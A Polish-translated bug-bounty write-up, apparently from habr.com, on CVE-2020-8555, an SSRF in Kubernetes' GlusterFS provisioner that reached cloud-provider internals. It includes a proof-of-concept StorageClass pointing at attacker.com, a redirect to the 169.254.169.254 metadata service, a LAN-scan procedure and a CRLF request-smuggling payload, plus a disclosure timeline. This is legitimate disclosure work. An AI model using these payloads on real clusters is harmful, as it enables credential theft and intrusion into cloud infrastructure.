Kiedy sprawa nie dotyczy tylko luki w Kubernetes…

Przyp. tłum.: autorzy tego artykułu szczegółowo opisują, jak udało im się odkryć lukę CVE-2020–8555 w Kubernetes. Chociaż początkowo nie wydawała się zbyt niebezpieczna, w połączeniu z innymi czynnikami jej krytyczność w niektórych dostawcach chmurowych okazała się maksymalna. Specjaliści, którzy przeprowadzili tę pracę, zostali hojnym wynagrodzeniem przez kilka organizacji.

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…

Kim jesteśmy

Jesteśmy dwoma francuskimi badaczami w dziedzinie bezpieczeństwa, którzy wspólnie odkryli lukę w Kubernetes. Nazywamy się Brice Augras i Christophe Hauquiert, ale na wielu platformach Bug Bounty jesteśmy znani jako Reeverzax i Hach odpowiednio:

Co się stało?

Ten artykuł to nasz sposób na opowiedzenie, jak zwykły projekt badawczy niespodziewanie przekształcił się w najbardziej fascynującą przygodę w życiu łowców błędów (przynajmniej jak na razie).

Jak zapewne wiesz, łowcy błędów mają kilka charakterystycznych cech:

  • żyją na pizzach i piwie;
  • pracują, gdy wszyscy inni śpią.

Nie jesteśmy wyjątkiem od tych reguł: zazwyczaj spotykamy się w weekendy i spędzamy bezsenne hakerskie noce. Ale jedna z takich nocy zakończyła się w dość niezwykły sposób.

Pierwotnie mieliśmy się spotkać, aby omówić udział w CTF następnego dnia. Podczas rozmowy o bezpieczeństwie Kubernetes w zarządzanym środowisku serwisowym przypomnieliśmy sobie o starej idei SSRF (Server-Side Request Forgery) i postanowiliśmy spróbować wykorzystać ją jako scenariusz ataku.

O 11 wieczorem przystąpiliśmy do badań, a spać poszliśmy wczesnym rankiem, bardzo zadowoleni z wyników. To właśnie dzięki tym badaniom natknęliśmy się na program MSRC Bug Bounty i wymyśliliśmy exploit z eskalacją uprawnień.

Minęło kilka tygodni/miesięcy, a nasz nieoczekiwany wynik pozwolił uzyskać jedną z najwyższych nagród w historii Azure Cloud Bug Bounty — oprócz tej, którą otrzymaliśmy od Kubernetes!

Na podstawie naszego projektu badawczego komitet Kubernetes Product Security Committee opublikował CVE-2020–8555.

Teraz chcielibyśmy jak najszerzej rozpowszechnić informacje o znalezionej luce. Mamy nadzieję, że ocenisz nasze odkrycie i podzielisz się szczegółami technicznymi z innymi członkami społeczności infosec!

A więc oto nasza historia…

Kontekst

Aby maksymalnie w pełni zrozumieć sens tego, co się wydarzyło, najpierw przyjrzyjmy się, jak Kubernetes działa w zarządzanym środowisku chmurowym.

Kiedy tworzysz instancję klastra Kubernetes w takim środowisku, za działanie warstwy kontrolera zazwyczaj odpowiada dostawca usług chmurowych:

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…
Warstwa kontrolera znajduje się w obrębie dostawcy chmurowego, podczas gdy węzły Kubernetes są w obrębie klienta.

Mechanizm dynamicznego przydzielania woluminów wykorzystuje mechanizm ich dynamicznego dostarczania z zewnętrznego backendu storage oraz mapowania z PVC (persistent volume claim, czyli żądaniem woluminu).

W ten sposób, po utworzeniu PVC i przypisaniu go do StorageClass w klastrze K8s, dalsze działania związane z przydzieleniem woluminu przejmuje kube/cloud controller manager (jego dokładna nazwa zależy od wersji). (Przyp. tłum.: Więcej na temat CCM na przykładzie jego wdrożenia dla jednego z dostawców chmurowych już opisaliśmy. tutaj.)

Istnieje kilka rodzajów provisionerów obsługiwanych przez Kubernetes: większość z nich jest wbudowanych w jądro orkiestratora,a inne są zarządzane przez dodatkowych provisionerów, które są umieszczane w podach w klastrze.

W naszym badaniu skoncentrowaliśmy się na wewnętrznym mechanizmie przydzielania woluminów, który pokazano poniżej:

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…
Dynamiczne przydzielanie woluminów z wykorzystaniem wbudowanego provisionera Kubernetes.

Krótko mówiąc, gdy Kubernetes jest wdrażany w zarządzanym środowisku, za działanie kontrolera odpowiada dostawca usług chmurowych, ale żądanie utworzenia woluminu (numer 3 na powyższym schemacie) opuszcza granice wewnętrznej sieci dostawcy chmurowego. I tutaj sytuacja staje się naprawdę interesująca!

Scenariusz włamania.

W tej sekcji opowiemy, jak wykorzystaliśmy wspomniany powyżej proces roboczy, aby uzyskać dostęp do wewnętrznych zasobów dostawcy usług chmurowych. Ponadto pokażemy, jak można wykonać określone działania — na przykład uzyskać wewnętrzne dane logowania lub przeprowadzić eskalację uprawnień.

Jedna prosta manipulacja (w tym przypadku to Service Side Request Forgery) pomogła wyjść poza granice środowiska klienta w klastrach różnych dostawców zarządzanego K8s.

W naszych badaniach skoncentrowaliśmy się na provisionerze GlusterFS. Mimo że dalsza sekwencja działań opisana jest w takim kontekście, ta sama luka dotyczy Quobyte, StorageOS i ScaleIO.

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…
Nadużycie mechanizmu dynamicznego przydzielania woluminów

Podczas analizy klasy magazynów GlusterFS w źródłach klienta w Golang zauważyliśmy , że przy pierwszym żądaniu HTTP (3), wysłanym podczas tworzenia woluminu, na końcu użytkowego URL dodawany jest parametrresturl dodawany . Aby pozbyć się tej dodatkowej ścieżki, postanowiliśmy dodać /volumes.

. Oto pierwsza konfiguracja YAML, którą wykorzystaliśmy do przetestowania istnienia luki „półślepej” SSRF # do parametru dodawany(więcej o półślepym lub half-blind SSRF można przeczytać na przykład, apiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: poc-ssrf provisioner: kubernetes.io/glusterfs parameters: resturl: "http://attacker.com:6666/#" --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: poc-ssrf spec: accessModes: - ReadWriteOnce volumeMode: Filesystem resources: requests: storage: 8Gi storageClassName: poc-ssrf tutaj — przyp. tłum.):

Następnie do zdalnego zarządzania klastrem Kubernetes skorzystaliśmy z binarnego pliku

. Zwykle dostawcy chmurowi (Azure, Google, AWS itd.) pozwalają uzyskać dane logowania do ich wykorzystania w tym narzędziu. kubectlDzięki temu udało się zastosować nasz „specjalny” plik. Kube-controller-manager wykonał wynikowe żądanie HTTP:

kubectl create -f sc-poc.yaml

Odpowiedź z punktu widzenia atakującego

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…
Wkrótce po tym udało nam się również uzyskać odpowiedź HTTP od docelowego serwera — za pomocą poleceń

describe pvc get events lub w kubectl. I rzeczywiście: ten sterownik Kubernetes domyślnie jest zbyt gadatliwy w swoich ostrzeżeniach/komunikatach o błędach… Oto przykład z linkiem do

, ustawionym jako parametr https://www.google.frkubectl describe pvc poc-ssrf # lub możesz skorzystać z kubectl get events dodawany:

W ramach takiego podejścia byliśmy ograniczeni do żądań typu

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…

HTTP POST i nie mogliśmy uzyskać zawartości ciała odpowiedzi, jeśli kod zwracany był . Dlatego postanowiliśmy przeprowadzić dodatkowe badania i rozszerzyliśmy ten scenariusz ataku o nowe podejścia. 201Ewolucja naszych badań

Zaawansowany scenariusz №1: wykorzystanie przekierowania 302 z zewnętrznego serwera do zmiany metody HTTP, aby uzyskać bardziej elastyczny sposób zbierania danych wewnętrznych.

  • Zaawansowany scenariusz №2: automatyzacja skanowania LAN i odkrywania zasobów wewnętrznych.
  • Zaawansowany scenariusz nr 2: automatyzacja skanowania LAN i odkrywanie zasobów wewnętrznych.
  • Zaawansowany scenariusz nr 3: wykorzystanie HTTP CRLF + przemytu ("smuggling") zapytań do tworzenia dostosowanych zapytań HTTP i uzyskiwania danych wydobytych z logów kube-controller’a.

Specyfikacje techniczne

  • W badaniach użyto Azure Kubernetes Service (AKS) z wersją Kubernetes 1.12 w regionie Północna Europa.
  • Opisane powyżej scenariusze były realizowane na najnowszych wydaniach Kubernetes, z wyjątkiem scenariusza trzeciego, ponieważ wymagał on Kubernetes skompilowanego z Golang w wersji ≤ 1.12.
  • Serwer atakującego — https://attacker.com.

Zaawansowany scenariusz nr 1: przekierowanie HTTP zapytania POST na GET i uzyskiwanie poufnych danych

Początkowy sposób został poprawiony przez konfigurację serwera napastnika do zwracania 302 HTTP Retcode, aby konwertować zapytanie POST na GET (krok 4 na schemacie):

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…

Pierwsze zapytanie (3), wychodzące od klienta GlusterFS (Controller Manager), ma typ POST. Wykonując następujące kroki, udało nam się zamienić je na GET:

  • Jako parametr dodawany w StorageClass podaje się http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php odpowiada statusem 302 HTTP z następującym nagłówkiem Location: http://169.254.169.254. Może to być każdy inny wewnętrzny zasób — w tym przypadku adres URL przekierowania jest używany wyłącznie jako przykład.
  • Domyślnie biblioteka net/http Golang’a przekierowuje zapytanie i konwertuje POST na GET z kodem statusu 302, w wyniku czego na docelowy zasób trafia zapytanie HTTP GET.

Aby przeczytać ciało odpowiedzi HTTP, należy wykonać describe obiektu PVC:

kubectl describe pvc xxx

Oto przykład odpowiedzi HTTP w formacie JSON, którą udało nam się uzyskać:

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…

Możliwości znalezionej luki były wówczas ograniczone z powodu następujących kwestii:

  • Niemożność wstawienia nagłówków HTTP do wychodzącego zapytania.
  • Niemożność wykonania zapytania POST z parametrami w ciele (tak wygodnie jest żądać wartości klucza od instancji etcd, działającej na 2379 porcie, jeśli używa się niezaszyfrowanego HTTP).
  • Niemożność uzyskania zawartości ciała odpowiedzi, gdy kod statusu wynosił 200, a odpowiedź nie miała typu treści JSON.

Zaawansowany scenariusz nr 2: skanowanie lokalnej sieci

Ta metoda half-blind SSRF była następnie używana do skanowania wewnętrznej sieci dostawcy usług chmurowych i badania różnych nasłuchujących usług (instancja Metadata, Kubelet, etcd itp.) na podstawie odpowiedzi kube controller’a.

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…

Najpierw określono standardowe nasłuchujące porty komponentów Kubernetes (8443, 10250, 10251 itd.), a następnie trzeba było zautomatyzować proces skanowania.

Widząc, że ta metoda skanowania zasobów jest bardzo specyficzna i niekompatybilna z klasycznymi skanerami i narzędziami SSRF, postanowiliśmy stworzyć własne worker'y w skrypcie bash, które automatyzują cały proces.

Na przykład, aby szybciej zeskanować zakres 172.16.0.0/12 wewnętrznej sieci, jednocześnie uruchomiono 15 worker'ów. Wyżej wymieniony zakres IP został wybrany tylko jako przykład i może być zmieniony na zakres IP konkretnego dostawcy usług.

Aby zeskanować jeden adres IP i jeden port, należy wykonać następujące kroki:

  • usunięcie wcześniej zweryfikowanej StorageClass;
  • usunięcie wcześniej zweryfikowanego Persistent Volume Claim;
  • zmiana wartości IP i Port w sc.yaml;
  • utworzenie StorageClass z nowym IP i portem;
  • utworzenie nowego PVC;
  • wyciągnięcie wyników skanowania za pomocą describe'a dla PVC.

Zaawansowany scenariusz nr 3: iniekcja CRLF + smuggling HTTP w 'starych' wersjach klastra Kubernetes

Jeśli dodatkowo dostawca oferował klientom stare wersje klastra K8s i dawał im dostęp do logów kube-controller-manager'a, efekt stawał się jeszcze bardziej znaczący.

Atakującemu zdecydowanie łatwiej jest modyfikować według własnego uznania żądania HTTP, które są przeznaczone do uzyskania pełnej odpowiedzi HTTP.

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…

Aby zrealizować ostatni scenariusz, musiały być spełnione następujące warunki:

  • Użytkownik musi mieć dostęp do logów kube-controller-manager (jak np. w Azure LogInsights).
  • Klast Kubernetes musi korzystać z wersji Golang poniżej 1.12.

Uruchomiliśmy lokalne środowisko, które imituje wymianę danych między klientem Go GlusterFS a fałszywym serwerem docelowym (na razie powstrzymamy się od publikacji PoC).

Została odkryta luka, dotycząca wersji Golang poniżej 1.12, która umożliwiała hakerom przeprowadzanie ataków typu HTTP smuggling/CRLF.

Łącząc opisaną wcześniej half-blind SSRF razem , mogliśmy wysyłać żądania według własnego uznania, w tym zmieniać nagłówki, metodę HTTP, parametry i dane, które kube-controller-manager następnie przetwarzał.

Oto przykład działającej 'zachęty' w parametrach dodawany StorageClass'a, która realizuje podobny scenariusz ataku:

http://172.31.X.1:10255/healthz? HTTP/1.1
Connection: keep-
alive
Host: 172.31.X.1:10255
Content-Length: 1

1
GET /pods? HTTP/1.1
Host: 172.31.X.1:10255

W wyniku tego pojawia się błąd unsolicited response, wiadomość, która jest rejestrowana w dziennikach kontrolera. Dzięki domyślnie włączonej „rozmowności” zawartość odpowiedzi HTTP jest również zapisywana tam.

Kiedy sprawa nie dotyczy tylko luki w Kubernetes…

To była nasza najbardziej skuteczna „złotówka” w ramach proof of concept.

Stosując to podejście, udało nam się przeprowadzić niektóre z następujących ataków w klastrach różnych dostawców zarządzanego k8s: eskalacja uprawnień z uzyskaniem danych logowania na instancjach metadata, DoS mastera za pomocą (niezaszyfrowanych) zapytań HTTP na instancjach mastera etcd itd.

Skutki

W oficjalnym oświadczeniu Kubernetes w sprawie odkrytej przez nas podatności SSRF przypisano jej ocenę CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Jeśli rozważymy tylko podatność związaną z perymetrem Kubernetes, wektor integralności (integrity vector) w niej klasyfikuje się jako Brak.

Jednak ocena potencjalnych konsekwencji w kontekście zarządzanego środowiska serwisowego (i to była najciekawsza część naszego badania!) skłoniła nas do przekwalifikowania podatności na ocenę Krytyczna CVSS10/10 dla wielu dystrybutorów.

Poniżej znajdują się dodatkowe informacje, które pomogą zrozumieć, na czym się opieraliśmy przy ocenie potencjalnych konsekwencji w środowiskach chmurowych:

Integralność

  • Zdalne wykonywanie poleceń za pomocą uzyskanych wewnętrznych danych logowania.
  • Reprodukcja opisanego powyżej scenariusza metodą IDOR (Insecure Direct Object Reference, czyli niebezpieczne bezpośrednie odniesienia do obiektów) z innymi zasobami odkrytymi w lokalnej sieci.

Prywatność

  • Atak typu Lateral Movement dzięki kradzieży danych logowania do chmury (np. metadata API).
  • Zbieranie informacji za pomocą skanowania lokalnej sieci (określenie wersji SSH, wersji serwera HTTP, …).
  • Zbieranie informacji o instancjach i infrastrukturze poprzez zapytania do wewnętrznych API, takich jak metadata API (http://169.254.169.254, …).
  • Kradzież danych klientów za pomocą danych logowania do chmury.

Dostępność

Wszystkie scenariusze wykorzystania exploitów związane z wektorami ataku na integrity (integralność), mogą być wykorzystane do działań destrukcyjnych i prowadzić do niedostępności instancji mastera z perymetru klienta (lub innego).

Ponieważ znajdowaliśmy się w zarządzanym środowisku K8s i ocenialiśmy wpływ na integralność, można sobie wyobrazić wiele scenariuszy, które mogą wpłynąć na dostępność. Jako dodatkowe przykłady możemy podać uszkodzenie bazy danych etcd lub wykonanie krytycznego wywołania do API Kubernetes.

Chronologia

  • 6 grudnia 2019 r.: wysłanie zgłoszenia dotyczącego odkrytej podatności do MSRC Bug Bounty.
  • 3 stycznia 2020 r.: osoba trzecia poinformowała programistów Kubernetes, że pracujemy nad problemem związanym z bezpieczeństwem. I poprosiła ich o traktowanie SSRF jako podatności wewnętrznej (in-core). Następnie przedstawiliśmy ogólny raport z technicznymi szczegółami źródła problemu.
  • 15 stycznia 2020 r.: dostarczyliśmy programistom Kubernetes raporty techniczne i ogólne na ich prośbę (poprzez platformę HackerOne).
  • 15 stycznia 2020 r.: programiści Kubernetes poinformowali nas, że half-blind SSRF + wstrzyknięcie CRLF dla poprzednich wydań uważane jest za podatność in-core. Od razu przerwaliśmy analizę perymetrów innych dostawców usług: przyczyną teraz zajmowała się drużyna K8s.
  • 15 stycznia 2020 r.: otrzymano nagrodę od MSRC przez HackerOne.
  • 16 stycznia 2020 r.: Kubernetes PSC (Product Security Committee) uznał podatność i poprosił o zachowanie jej w tajemnicy do połowy marca z powodu dużej liczby potencjalnych ofiar.
  • 11 lutego 2020 r.: otrzymano nagrodę od Google VRP.
  • 4 marca 2020 r.: otrzymano nagrodę od Kubernetes przez HackerOne.
  • 15 marca 2020 r.: pierwotnie planowane publiczne ujawnienie zostało opóźnione z powodu sytuacji związanej z COVID-19.
  • 1 czerwca 2020 r.: wspólne oświadczenie Kubernetes + Microsoft o podatności.

TL;DR

  • Pijemy piwo i jemy pizzę 🙂
  • Odkryliśmy podatność in-core w Kubernetes, chociaż wcale nie planowaliśmy tego robić.
  • Przeprowadziliśmy dodatkową analizę w klastrach różnych dostawców chmurowych i udało nam się zwiększyć szkody spowodowane podatnością, aby uzyskać dodatkowe niesamowite bonusy.
  • W tym artykule znajdziesz wiele technicznych szczegółów. Chętnie omówimy je z tobą (Twitter: @ReeverZax & @__hach_).
  • Okazało się, że wszelkie formalności i sporządzanie raportów zajmują znacznie więcej czasu, niż się spodziewano.

Linki

P.S. od tłumacza

Przeczytaj także na naszym blogu:

Źródło: habr.com

Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS 🔥 Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS | ProHoster